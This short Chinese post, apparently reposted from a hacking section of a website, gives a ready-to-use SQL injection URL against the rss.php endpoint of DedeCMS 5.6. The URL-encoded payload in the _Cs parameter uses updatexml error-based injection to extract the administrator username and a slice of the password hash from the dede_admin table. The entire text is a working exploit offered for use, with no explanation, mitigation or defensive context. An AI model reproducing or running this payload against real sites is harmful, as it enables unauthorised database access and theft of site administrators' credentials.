最新dedecms 5.6的注入代码：
http://www.dedecms.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2%29%29%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT%20CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23%27][0]=1
原文：http://www.jb51.net/hack/34722.html